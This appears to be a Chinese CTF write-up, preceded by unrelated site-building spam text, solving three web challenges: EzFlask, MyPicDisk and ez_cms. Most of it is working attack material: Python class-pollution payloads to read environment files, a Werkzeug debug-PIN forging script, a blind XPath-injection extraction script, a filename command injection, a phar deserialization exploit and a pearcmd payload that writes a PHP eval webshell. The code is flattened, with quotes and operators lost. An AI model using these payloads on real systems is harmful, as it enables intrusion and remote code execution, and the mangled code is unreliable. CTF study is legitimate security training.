美橙建站五合一建站套餐申请,还有哪些行业可以做垂直网站,西安注册公司网站,网站数据库文件名文章目录 EzFlask方法一 python原型链污染方法二 flask框架静态文件方法三 pin码计算 MyPicDisk方法一 字符串拼接执行命令方法二 phar反序列化 ez_cms EzFlask 考点#xff1a;python原型链污染、flask框架理解、pin码计算 源码如下
import uuidfrom flask import Flask, re… 文章目录 EzFlask方法一 python原型链污染方法二 flask框架静态文件方法三 pin码计算 MyPicDisk方法一 字符串拼接执行命令方法二 phar反序列化 ez_cms EzFlask 考点python原型链污染、flask框架理解、pin码计算 源码如下
import uuidfrom flask import Flask, request, session
from secret import black_list
import jsonapp Flask(__name__)
app.secret_key str(uuid.uuid4())def check(data):for i in black_list:if i in data:return Falsereturn Truedef merge(src, dst):for k, v in src.items():if hasattr(dst, __getitem__):if dst.get(k) and type(v) dict:merge(v, dst.get(k))else:dst[k] velif hasattr(dst, k) and type(v) dict:merge(v, getattr(dst, k))else:setattr(dst, k, v)class user():def __init__(self):self.username self.password passdef check(self, data):if self.username data[username] and self.password data[password]:return Truereturn FalseUsers []app.route(/register,methods[POST])
def register():if request.data:try:if not check(request.data):return Register Faileddata json.loads(request.data)if username not in data or password not in data:return Register FailedUser user()merge(data, User)Users.append(User)except Exception:return Register Failedreturn Register Successelse:return Register Failedapp.route(/login,methods[POST])
def login():if request.data:try:data json.loads(request.data)if username not in data or password not in data:return Login Failedfor user in Users:if user.check(data):session[username] data[username]return Login Successexcept Exception:return Login Failedreturn Login Failedapp.route(/,methods[GET])
def index():return open(__file__, r).read()if __name__ __main__:app.run(host0.0.0.0, port5010)
分析一下首先定义了check函数进行黑名单检测然后是存在merge函数可以进行原型链污染定义user的类/register路由下先进行check检测接收json格式数据进行merge原型链污染/login路由下接收json数据判断username的session是否正确/路由下会读取源码文件我们可以污染进行回显
方法一 python原型链污染
前置知识 NodeJs原型链污染中对象的__proto__属性指向这个对象所在的类的prototype属性。如果我们修改了son.__proto__中的值就可以修改父类。 在Python中所有以双下划线__包起来的方法统称为Magic Method魔术方法它是一种的特殊方法普通方法需要调用而魔术方法不需要调用就可以自动执行。 由于跟路由下会读取源码内容我们可以污染__file__全局变量实现任意文件读取 由于过滤了__init__我们可以通过Unicode编码绕过或者用类中的check代替 payload如下
{username:1,password:1,__class__:{\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f:{__globals__:{__file__:/proc/1/environ}}}
}然后再访问得到flag
方法二 flask框架静态文件
前置知识 在 Python 中全局变量 app 和 _static_folder 通常用于构建 Web 应用程序并且这两者在 Flask 框架中经常使用。 app 全局变量 app 是 Flask 应用的实例是一个 Flask 对象。通过创建 app 对象我们可以定义路由、处理请求、设置配置等从而构建一个完整的 Web 应用程序。Flask 应用实例是整个应用的核心负责处理用户的请求并返回相应的响应。可以通过 app.route 装饰器定义路由将不同的 URL 请求映射到对应的处理函数上。app 对象包含了大量的功能和方法例如 route、run、add_url_rule 等这些方法用于处理请求和设置应用的各种配置。通过 app.run() 方法我们可以在指定的主机和端口上启动 Flask 应用使其监听并处理客户端的请求。 _static_folder 全局变量 _static_folder 是 Flask 应用中用于指定静态文件的文件夹路径。静态文件通常包括 CSS、JavaScript、图像等用于展示网页的样式和交互效果。静态文件可以包含在 Flask 应用中例如 CSS 文件用于设置网页样式JavaScript 文件用于实现网页的交互功能图像文件用于显示图形内容等。在 Flask 中可以通过 app.static_folder 属性来访问 _static_folder并指定存放静态文件的文件夹路径。默认情况下静态文件存放在应用程序的根目录下的 static 文件夹中。Flask 在处理请求时会自动寻找静态文件的路径并将静态文件发送给客户端使网页能够正确地显示样式和图像。 综上所述app 和 _static_folder 这两个全局变量在 Flask 应用中都扮演着重要的角色app 是整个应用的核心实例用于处理请求和设置应用的配置而 _static_folder 是用于指定静态文件的存放路径使网页能够正确地加载和显示样式和图像。 我们污染_static_folder:/使得静态目录直接设置为了根目录那么我们就可以访问/static/proc/1/environ payload如下
{username:1,password:1,\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f:{__globals__:{app:{_static_folder:/}}}
}访问静态文件即可
方法三 pin码计算
由于我们已经知道存在原型链污染我们可以结合任意文件读取有效信息计算pin码 脚本如下
import hashlib
from itertools import chain
probably_public_bits [root flask.app,Flask,/usr/local/lib/python3.10/site-packages/flask/app.py
]private_bits [2485376927778, 96cec10d3d9307792745ec3b85c896208a7dfdfc8f7d6dcb17dd8f606197f476c809c20027ebc4655a4cdc517760bc44
]h hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit bit.encode(utf-8)h.update(bit)
h.update(bcookiesalt)cookie_name __wzd h.hexdigest()[:20]num None
if num is None:h.update(bpinsalt)num (%09d % int(h.hexdigest(), 16))[:9]rv None
if rv is None:for group_size in 5, 4, 3:if len(num) % group_size 0:rv -.join(num[x:x group_size].rjust(group_size, 0)for x in range(0, len(num), group_size))breakelse:rv numprint(rv)然后访问/console即可
MyPicDisk 考点xxe盲注、命令执行、phar反序列化 打开题目给了登录框试试万能密码抓包看看 发现有hint 访问把源码下载下来
?php
session_start();
error_reporting(0);
class FILE{public $filename;public $lasttime;public $size;public function __construct($filename){if (preg_match(/\//i, $filename)){throw new Error(hacker!);}$num substr_count($filename, .);if ($num ! 1){throw new Error(hacker!);}if (!is_file($filename)){throw new Error(???);}$this-filename $filename;$this-size filesize($filename);$this-lasttime filemtime($filename);}public function remove(){unlink($this-filename);}public function show(){echo Filename: . $this-filename. Last Modified Time: .$this-lasttime. Filesize: .$this-size.br;}public function __destruct(){system(ls -all .$this-filename);}
}
?
!DOCTYPE html
html
headmeta charsetUTF-8titleMyPicDisk/title
/head
body
?php
if (!isset($_SESSION[user])){echo
form methodPOSTusernameinput typetext nameusername/ppasswordinput typepassword namepassword/pinput typesubmit value登录 namesubmit/p
/form
;$xml simplexml_load_file(/tmp/secret.xml);if($_POST[submit]){$username$_POST[username];$passwordmd5($_POST[password]);$x_query/accounts/user[username{$username} and password{$password}];$result $xml-xpath($x_query);if(count($result)0){echo 登录失败;}else{$_SESSION[user] $username;echo scriptalert(登录成功!);location.href/index.php;/script;}}
}
else{if ($_SESSION[user] ! admin) {echo scriptalert(you are not admin!!!!!);/script;unset($_SESSION[user]);echo scriptlocation.href/index.php;/script;}echo !-- /y0u_cant_find_1t.zip --;if (!$_GET[file]) {foreach (scandir(.) as $filename) {if (preg_match(/.(jpg|jpeg|gif|png|bmp)$/i, $filename)) {echo a hrefindex.php/?file . $filename . . $filename . /abr;}}echo form actionindex.php methodpost enctypemultipart/form-data选择图片input typefile namefile idinput typesubmit value上传/form;if ($_FILES[file]) {$filename $_FILES[file][name];if (!preg_match(/.(jpg|jpeg|gif|png|bmp)$/i, $filename)) {die(hacker!);}if (move_uploaded_file($_FILES[file][tmp_name], $filename)) {echo scriptalert(图片上传成功!);location.href/index.php;/script;} else {die(failed);}}}else{$filename $_GET[file];if ($_GET[todo] md5){echo md5_file($filename);}else {$file new FILE($filename);if ($_GET[todo] ! remove $_GET[todo] ! show) {echo img src../ . $filename . br;echo a href../index.php/?file . $filename . todoremoveremove/abr;echo a href../index.php/?file . $filename . todoshowshow/abr;} else if ($_GET[todo] remove) {$file-remove();echo scriptalert(图片已删除!);location.href/index.php;/script;} else if ($_GET[todo] show) {$file-show();}}}
}
?
/body
/html分析如下
定义了FILE类包含三个属性。实例化的时候检测是否包含/且是否只有一个.符号。然后定义了remove和show方法最后会对文件名命令执行此处可以rce然后就是接收登陆参数以及session值是否为admin最后对上传文件进行白名单检测然后提供remove和show功能上传成功后会对文件名实例化
我们刚刚万能密码登录后发现并不是admin的session所以还是不行 我们看向下面代码存在xxe漏洞
if($_POST[submit]){$username$_POST[username];$passwordmd5($_POST[password]);$x_query/accounts/user[username{$username} and password{$password}];$result $xml-xpath($x_query);if(count($result)0){echo 登录失败;}else{$_SESSION[user] $username;echo scriptalert(登录成功!);location.href/index.php;/script;}}其中重要代码$x_query/accounts/user[username{$username} and password{$password}];构建一个XPath查询语句用于在XML文件中查
xxe盲注脚本如下
import requests
import time
url http://0f5e84c5-9aba-4f79-9744-65916fd167a9.node4.buuoj.cn:81/strs abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789flag
for i in range(1,100):for j in strs:#猜测根节点名称 #accounts# payload_1 {username:usernameor substring(name(/*[1]), {}, 1){} or /usernamepassword3123/password.format(i,j),password:123}# payload_username usernameor substring(name(/*[1]), {}, 1){} or /usernamepassword3123/password.format(i,j)#猜测子节点名称 #user# payload_2 usernameor substring(name(/root/*[1]), {}, 1){} or /usernamepassword3123/passwordtoken{}/token.format(i,j,token[0])# payload_username usernameor substring(name(/accounts/*[1]), {}, 1){} or /usernamepassword3123/password.format(i,j)#猜测accounts的节点# payload_3 usernameor substring(name(/root/accounts/*[1]), {}, 1){} or /usernamepassword3123/passwordtoken{}/token.format(i,j,token[0])#猜测user节点# payload_4 usernameor substring(name(/root/accounts/user/*[2]), {}, 1){} or /usernamepassword3123/passwordtoken{}/token.format(i,j,token[0])#跑用户名和密码 #admin #003d7628772d6b57fec5f30ccbc82be1# payload_username usernameor substring(/accounts/user[1]/username/text(), {}, 1){} or .format(i,j)、# payload_username usernameor substring(/accounts/user[1]/password/text(), {}, 1){} or .format(i,j)payload_username usernameor substring(/accounts/user[1]/password/text(), {}, 1){} or .format(i,j)data{username:payload_username,password:123,submit:1}print(payload_username)r requests.post(urlurl,datadata)time.sleep(0.1)# print(r.text)if 登录成功 in r.text:flagjprint(flag)breakif 登录失败 in r.text:breakprint(flag)注出来的再拿去解密得到密码 登陆后发现有文件上传功能
方法一 字符串拼接执行命令
我们已经知道上传图片成功后会对FILE实例化结合下面实现rce
public function __destruct(){system(ls -all .$this-filename);}注一定不能报错否则不会执行destruct
我们可以bp抓包修改文件名如下
;echo Y2F0IC9hZGphcyo | base64 -d;1.jpg然后上传成功后访问?file上传文件名即可
方法二 phar反序列化
这个思路的利用点如下
if ($_GET[todo] md5){echo md5_file($filename);
}md5_file函数
一般参数是string形式的文件名称($filename)的函数都可以用来解析phar
我们可以创建phar文件修改后缀然后再file读取todo参数值为md5 exp
?phpclass FILE{public $filename;cat /adjaskdhnask_flag_is_here_dakjdnmsakjnfksd;public $lasttime;public $size;}
$anew FILE();
$phar new Phar(hacker.phar);
$phar-startBuffering();
$phar-setStub(?php __HALT_COMPILER(); ?);
$phar-setMetadata($a);
$phar-addFromString(test.txt, test);
$phar-stopBuffering();然后bp抓包修改后缀 然后用phar伪协议读取即可
?filephar://hacker.jpgtodomd5ez_cms 考点熊海cms 拿到题目去网上找找相关漏洞发现存在后台登陆 盲猜用户为admin然后密码爆破一下为123456 登录后我们查到存在任意文件读取漏洞
试试读取源码 然后下载下来
?php
//单一入口模式
error_reporting(0); //关闭错误显示
$fileaddslashes($_GET[r]); //接收文件名
$action$file?index:$file; //判断为空或者等于index
include(files/.$action..php); //载入相应文件
?分析一下addslashes函数禁用了伪协议将参数进行拼接 不过我们可以尝试pearcmd读取 payload如下
?config-create/r../../../../usr/share/php/pearcmd/?eval($_POST[cmd]);?/tmp/shell.php坑点这里的pearcmd的路径不为默认路径出题人改了
我们bp抓包发送成功写入 访问?r../../../../tmp/shell 命令执行得到flag